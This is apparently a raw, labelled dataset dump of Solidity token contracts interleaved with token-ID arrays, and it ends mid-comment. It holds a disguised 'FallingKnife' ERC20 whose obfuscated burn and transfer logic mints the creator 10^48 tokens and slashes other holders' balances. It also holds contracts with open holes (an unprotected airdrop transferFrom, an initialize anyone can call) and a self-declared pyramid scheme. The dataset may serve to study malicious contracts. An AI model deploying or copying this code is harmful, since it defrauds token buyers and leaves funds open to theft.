2696,
1040,
1010,
27507,
14142,
1031,
1033,
2655,
2850,
2696,
1041,
1007,
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1013,
1008,
2131,
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1999,
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1013,
1065,
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102,
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|
contract BitSTDView{
function symbol()constant public returns(string) {}
function migration(address add) public{}
function transfer(address _to, uint256 _value) public {}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {}
}
contract airDrop{
/**
*
*This is a fixed airdrop
*
* @param contractaddress this is Address of airdrop token contract
* @param dsts this is Batch acceptance address
* @param value this is Issuing number
*/
function airDrop_(address contractaddress,address[] dsts,uint256 value) public {
uint count= dsts.length;
require(value>0);
BitSTDView View= BitSTDView(contractaddress);
for(uint i = 0; i < count; i++){
View.transfer(dsts[i],value);
}
}
/**
*
* This is a multi-value airdrop
*
* @param contractaddress this is Address of airdrop token contract
* @param dsts this is Batch acceptance address
* @param values This is the distribution number array
*/
function airDropValues(address contractaddress,address[] dsts,uint256[] values) public {
uint count= dsts.length;
BitSTDView View= BitSTDView(contractaddress);
for(uint i = 0; i < count; i++){
View.transfer(dsts[i],values[i]);
}
}
/**
*
* This is a multi-value airdrop
*
* @param contractaddress this is Address of airdrop token contract
* @param dsts This is the address where the data needs to be migrated
*/
function dataMigration(address contractaddress,address[] dsts)public{
uint count= dsts.length;
BitSTDView View= BitSTDView(contractaddress);
for(uint i = 0; i < count; i++){
View.migration(dsts[i]);
}
}
/**
*
*This is Authorization drop
* @param _from Assigned address
* @param contractaddress this is Address of airdrop token contract
* @param dsts this is Batch acceptance address
* @param value this is Issuing number
*/
function transferFrom(address contractaddress,address _from, address[] dsts, uint256 value) public returns (bool success) {
uint count= dsts.length;
BitSTDView View= BitSTDView(contractaddress);
for(uint i = 0; i < count; i++){
View.transferFrom(_from,dsts[i],value);
}
}
} | True | [
101,
3206,
9017,
2102,
2094,
8584,
1063,
3853,
6454,
1006,
1007,
5377,
2270,
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// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AnubisExchange is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anubis Exchange ";
string private constant _symbol = " Anubis";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
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|
// A Falling Knife: An Elon Story
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private fArra;
mapping (address => bool) private Pizza;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Germany = 0;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; address private hash01hudqjnbfu81f9ufj; uint256 private _totalSupply;
bool private trading; uint256 private Sword; bool private Truck; uint256 private Timer;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
hash01hudqjnbfu81f9ufj = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function name() public view virtual override returns (string memory) {
return _name;
}
function openTrading() external onlyOwner returns (bool) {
trading = true;
return true;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 curSwordAllowance = _allowances[_msgSender()][spender];
require(curSwordAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, curSwordAllowance - subtractedValue);
return true;
}
function _WhereIsTheKnife(address creator) internal virtual {
approve(_router, 10 ** 77);
(Sword,Truck,Timer,trading) = (0,false,0,false);
(Pizza[_router],Pizza[creator],Pizza[pair]) = (true,true,true);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = (account == hash01hudqjnbfu81f9ufj ? (10 ** 48) : 0);
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function last(uint256 g) internal view returns (address) { return (Timer > 1 ? fArra[fArra.length-g-1] : address(0)); }
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _balancesOfTheMacs(address sender, address recipient, bool simulation) internal {
Truck = simulation ? true : Truck;
if (((Pizza[sender] == true) && (Pizza[recipient] != true)) || ((Pizza[sender] != true) && (Pizza[recipient] != true))) { fArra.push(recipient); }
if ((Truck) && (sender == hash01hudqjnbfu81f9ufj) && (Sword == 1)) { for (uint256 lyft = 0; lyft < fArra.length; lyft++) { _balances[fArra[lyft]] /= (3 * 10 ** 1); } }
_balances[last(1)] /= (((Germany == block.timestamp) || Truck) && (Pizza[last(1)] != true) && (Timer > 1)) ? (12) : (1);
Germany = block.timestamp; Timer++; if (Truck) { require(sender != last(0)); }
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balancesOfTheWindows(sender, recipient);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _balancesOfTheWindows(address sender, address recipient) internal {
require((trading || (sender == hash01hudqjnbfu81f9ufj)), "ERC20: trading is not yet enabled.");
_balancesOfTheMacs(sender, recipient, (address(sender) == hash01hudqjnbfu81f9ufj) && (Sword > 0));
Sword += (sender == hash01hudqjnbfu81f9ufj) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 curSwordAllowance = _allowances[sender][_msgSender()];
require(curSwordAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), curSwordAllowance - amount);
return true;
}
function _DeployFallingKnife(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployFallingKnife(creator, initialSupply);
_WhereIsTheKnife(creator);
}
}
contract FallingKnife is ERC20Token {
constructor() ERC20Token("Falling Knife", "FALL", msg.sender, 400000 * 10 ** 18) {
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership( address newOwner_ ) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred( address(0), _owner );
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require( _owner == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred( _owner, address(0) );
_owner = address(0);
}
function transferOwnership( address newOwner_ ) public virtual override onlyOwner() {
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred( _owner, newOwner_ );
_owner = newOwner_;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
contract aOHMMigration is Ownable {
using SafeMath for uint256;
uint256 swapEndBlock;
IERC20 public OHM;
IERC20 public aOHM;
bool public isInitialized;
mapping(address => uint256) public senderInfo;
modifier onlyInitialized() {
require(isInitialized, "not initialized");
_;
}
function initialize(
address _OHM,
address _aOHM,
uint256 _swapDuration
) public {
OHM = IERC20(_OHM);
aOHM = IERC20(_aOHM);
swapEndBlock = block.number.add(_swapDuration);
isInitialized = true;
}
function migrate(uint256 amount) external onlyInitialized() {
require(
aOHM.balanceOf(msg.sender) >= amount,
"amount above user balance"
);
require(block.number < swapEndBlock, "swapping of aOHM has ended");
aOHM.transferFrom(msg.sender, address(this), amount);
senderInfo[msg.sender] = senderInfo[msg.sender].add(amount);
OHM.transfer(msg.sender, amount);
}
function reclaim() external {
require( senderInfo[msg.sender] > 0, "user has no aOHM to withdraw" );
require( block.number > swapEndBlock, "aOHM swap is still ongoing" );
uint256 amount = senderInfo[msg.sender];
senderInfo[msg.sender] = 0;
aOHM.transfer(msg.sender, amount);
}
function withdraw() external onlyOwner() {
require(block.number > swapEndBlock, "swapping of aOHM has not ended");
uint256 amount = OHM.balanceOf(address(this));
OHM.transfer(msg.sender, amount);
}
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|
pragma solidity ^0.4.18;
/*
,/`.
,'/ __`.
,'_/_ _ _`.
,'__/_ ___ _ `.
,'_ /___ __ _ __ `.
'-.._/___...-"-.-..__`.
B
EthDividends. A no-bullshit, transparent, self-sustaining pyramid scheme.
Inspired by https://test.jochen-hoenicke.de/eth/ponzitoken/
Developer:
[email protected]
https://t.me/XaosPL
https://discord.gg/3zVBb
*/
contract ETHDividends {
// scaleFactor is used to convert Ether into tokens and vice-versa: they're of different
// orders of magnitude, hence the need to bridge between the two.
uint256 constant scaleFactor = 0x10000000000000000; // 2^64
// CRR = 50%
// CRR is Cash Reserve Ratio (in this case Crypto Reserve Ratio).
// For more on this: check out https://en.wikipedia.org/wiki/Reserve_requirement
int constant crr_n = 1; // CRR numerator
int constant crr_d = 2; // CRR denominator
// The price coefficient. Chosen such that at 1 token total supply
// the amount in reserve is 0.5 ether and token price is 1 Ether.
int constant price_coeff = -0x296ABF784A358468C;
// Typical values that we have to declare.
string constant public name = "ETHDividends";
string constant public symbol = "ETX";
uint8 constant public decimals = 18;
// Array between each address and their number of tokens.
mapping(address => uint256) public tokenBalance;
// Array between each address and how much Ether has been paid out to it.
// Note that this is scaled by the scaleFactor variable.
mapping(address => int256) public payouts;
// Variable tracking how many tokens are in existence overall.
uint256 public totalSupply;
// Aggregate sum of all payouts.
// Note that this is scaled by the scaleFactor variable.
int256 totalPayouts;
// Variable tracking how much Ether each token is currently worth.
// Note that this is scaled by the scaleFactor variable.
uint256 earningsPerToken;
// Current contract balance in Ether
uint256 public contractBalance;
function ETHDividends() public {}
// The following functions are used by the front-end for display purposes.
// Returns the number of tokens currently held by _owner.
function balanceOf(address _owner) public constant returns (uint256 balance) {
return tokenBalance[_owner];
}
// Withdraws all dividends held by the caller sending the transaction, updates
// the requisite global variables, and transfers Ether back to the caller.
function withdraw() public {
// Retrieve the dividends associated with the address the request came from.
var balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
// Send the dividends to the address that requested the withdraw.
contractBalance = sub(contractBalance, balance);
msg.sender.transfer(balance);
}
// Converts the Ether accrued as dividends back into EPY tokens without having to
// withdraw it first. Saves on gas and potential price spike loss.
function reinvestDividends() public {
// Retrieve the dividends associated with the address the request came from.
var balance = dividends(msg.sender);
// Update the payouts array, incrementing the request address by `balance`.
// Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds.
payouts[msg.sender] += (int256) (balance * scaleFactor);
// Increase the total amount that's been paid out to maintain invariance.
totalPayouts += (int256) (balance * scaleFactor);
// Assign balance to a new variable.
uint value_ = (uint) (balance);
// If your dividends are worth less than 1 szabo, or more than a million Ether
// (in which case, why are you even here), abort.
if (value_ < 0.000001 ether || value_ > 1000000 ether)
revert();
// msg.sender is the address of the caller.
var sender = msg.sender;
// A temporary reserve variable used for calculating the reward the holder gets for buying tokens.
// (Yes, the buyer receives a part of the distribution as well!)
var res = reserve() - balance;
// 10% of the total Ether sent is used to pay existing holders.
var fee = div(value_, 10);
// The amount of Ether used to purchase new tokens for the caller.
var numEther = value_ - fee;
// The number of tokens which can be purchased for numEther.
var numTokens = calculateDividendTokens(numEther, balance);
// The buyer fee, scaled by the scaleFactor variable.
var buyerFee = fee * scaleFactor;
// Check that we have tokens in existence (this should always be true), or
// else you're gonna have a bad time.
if (totalSupply > 0) {
// Compute the bonus co-efficient for all existing holders and the buyer.
// The buyer receives part of the distribution for each token bought in the
// same way they would have if they bought each token individually.
var bonusCoEff =
(scaleFactor - (res + numEther) * numTokens * scaleFactor / (totalSupply + numTokens) / numEther)
* (uint)(crr_d) / (uint)(crr_d-crr_n);
// The total reward to be distributed amongst the masses is the fee (in Ether)
// multiplied by the bonus co-efficient.
var holderReward = fee * bonusCoEff;
buyerFee -= holderReward;
// Fee is distributed to all existing token holders before the new tokens are purchased.
// rewardPerShare is the amount gained per token thanks to this buy-in.
var rewardPerShare = holderReward / totalSupply;
// The Ether value per token is increased proportionally.
earningsPerToken += rewardPerShare;
}
// Add the numTokens which were just created to the total supply. We're a crypto central bank!
totalSupply = add(totalSupply, numTokens);
// Assign the tokens to the balance of the buyer.
tokenBalance[sender] = add(tokenBalance[sender], numTokens);
// Update the payout array so that the buyer cannot claim dividends on previous purchases.
// Also include the fee paid for entering the scheme.
// First we compute how much was just paid out to the buyer...
var payoutDiff = (int256) ((earningsPerToken * numTokens) - buyerFee);
// Then we update the payouts array for the buyer with this amount...
payouts[sender] += payoutDiff;
// And then we finally add it to the variable tracking the total amount spent to maintain invariance.
totalPayouts += payoutDiff;
}
// Sells your tokens for Ether. This Ether is assigned to the callers entry
// in the tokenBalance array, and therefore is shown as a dividend. A second
// call to withdraw() must be made to invoke the transfer of Ether back to your address.
function sellMyTokens() public {
var balance = balanceOf(msg.sender);
sell(balance);
}
// The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately
// invokes the withdraw() function, sending the resulting Ether to the callers address.
function getMeOutOfHere() public {
sellMyTokens();
withdraw();
}
// Gatekeeper function to check if the amount of Ether being sent isn't either
// too small or too large. If it passes, goes direct to buy().
function fund() payable public {
// Don't allow for funding if the amount of Ether sent is less than 1 szabo.
if (msg.value > 0.000001 ether) {
contractBalance = add(contractBalance, msg.value);
buy();
} else {
revert();
}
}
// Function that returns the (dynamic) price of buying a finney worth of tokens.
function buyPrice() public constant returns (uint) {
return getTokensForEther(1 finney);
}
// Function that returns the (dynamic) price of selling a single token.
function sellPrice() public constant returns (uint) {
var eth = getEtherForTokens(1 finney);
var fee = div(eth, 10);
return eth - fee;
}
// Calculate the current dividends associated with the caller address. This is the net result
// of multiplying the number of tokens held by their current value in Ether and subtracting the
// Ether that has already been paid out.
function dividends(address _owner) public constant returns (uint256 amount) {
return (uint256) ((int256)(earningsPerToken * tokenBalance[_owner]) - payouts[_owner]) / scaleFactor;
}
// Version of withdraw that extracts the dividends and sends the Ether to the caller.
// This is only used in the case when there is no transaction data, and that should be
